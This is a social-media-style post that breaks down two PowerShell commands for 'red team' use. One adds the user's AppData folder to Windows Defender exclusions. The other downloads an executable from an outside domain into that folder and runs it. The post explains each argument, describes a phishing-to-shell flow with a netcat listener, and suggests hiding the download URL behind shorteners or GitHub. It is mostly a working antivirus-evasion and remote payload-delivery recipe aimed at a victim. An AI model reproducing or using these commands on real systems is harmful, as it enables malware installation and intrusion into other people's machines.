🔒 PowerShell Payload Breakdown for Pentesters 🔒 ▶️This snippet is a classic red team tactic for initial access persistence or payload delivery in a controlled engagement. It's designed to bypass Windows Defender (AV) and quietly drop + execute a binary. First Command: AV Exclusion Magic 🛡

powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%appdata%"

🤨 What it does: This silently tells Windows Defender to ignore scans on the %APPDATA% folder (user's app data dir, like C:\Users\Victim\AppData\Roaming). Why? So your payload lands there without getting nuked. It's a quick persistence enabler - common in post-exploitation to hide tools. 🍳 Arg Breakdown: ▶️powershell: Launches PowerShell (duh). ▶️-inputformat none: Ignores stdin - keeps it headless, no prompts. ▶️-outputformat none: Suppresses fancy output formatting, raw & quiet. ▶️-NonInteractive: No user interaction - runs like a ghost in the machine. Perfect for scripts or Cobalt Strike beacons. ▶️-Command: Executes the following as a one-liner. ▶️Add-MpPreference -ExclusionPath "%appdata%": Core cmdlet. Add-MpPreference tweaks Defender prefs, -ExclusionPath adds a folder to the "do not scan" list. %appdata% expands to the victim's Roaming dir - stealthy spot for droppables. 🕔 Real-Time Usage: ▶️Scenario: You've got shell access via phishing (e.g., Empire or Sliver). Run this pre-drop to whitelist your landing zone. ▶️Live Flow: Inject via cmd.exe or Meterpreter: execute -f powershell.exe -a "...full cmd...". Defender chills out, no alerts. Takes ~1-2 secs. 💡 Pro Tip: Chain with net user for privesc if needed. Second Command: Download & Execute Shenanigans 📥➡️🔥

powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://bursahotelphuket.com/zip/client.exe' -OutFile '%appdata%\b.exe'; %appdata%\b.exe"

🤨 What it does: A three-stage rocket: Sets secure TLS, downloads a shady .exe (your payload, like a reverse shell), saves it to the excluded %APPDATA%, then executes it immediately. Boom - your C2 callback without tripping wires. This is fileless-ish evasion gold for pentesters testing AV gaps. 🍳 Arg Breakdown: ▶️powershell -c: Short for -Command runs the script block in {}. Quick and dirty for one-shots. ▶️[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;: TLS Fixer. Old PowerShell defaults to TLS 1.0 (insecure/dead). This forces TLS 1.2 so your HTTPS download doesn't flop on modern servers. (Semicolon ; chains commands.) ▶️Invoke-WebRequest -Uri 'https://bursahotelphuket.com/zip/client.exe' -OutFile '%appdata%\b.exe';: The downloader. Invoke-WebRequest (alias iwr) fetches like curl. -Uri is the source (here, a fake hotel site - C2 server in disguise). -OutFile dumps to %APPDATA%\b.exe (short name = less suspicious). Semicolon chains to execution. ▶️%appdata%\b.exe: The Trigger. Just runs the fresh binary. No args passed - assumes it's self-contained (e.g., your custom RAT). 🕔 Real-Time Usage: ▶️Scenario: Post-phish or RDP pivot. Your C2 (e.g., Covenant or your VPS) hosts client.exe (a stager like nish.exe for Nishang or a custom beacon). ▶️Live Flow: 1️⃣ Victim clicks your lure → shell pops. 2️⃣Run via cmd: powershell -c "..." (or encode in JS for web delivery). 3️⃣Timeline: Download: 2-5 secs (depending on BW). Exec: Instant callback to your listener (nc -lvnp 4444 or Empire stager). 4️⃣ Evasion Layer: Excluded path + TLS + short filename = low sig. Monitor with ProcMon for artifacts. 💡 Pro Tip: Obfuscate URL with shorteners (bit.ly) or host on GitHub for "legit" vibes. Test in lab first 🚀 Payload airborne.
